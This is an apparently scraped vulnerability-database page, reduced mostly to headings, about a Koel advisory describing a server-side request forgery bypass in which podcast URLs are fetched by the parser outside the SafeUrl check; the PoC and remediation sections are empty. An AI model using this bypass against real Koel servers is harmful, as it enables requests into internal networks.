Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54492 (GCVE-0-2026-54492)

FKIE_CVE-2026-54492

GHSA-W79M-F3JX-779V

Summary

Details

SafeUrl protects the regular podcast API only

The URL is fetched immediately by the podcast parser

This bypasses Koel's intended SSRF control for podcast URLs

PoC

Impact

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour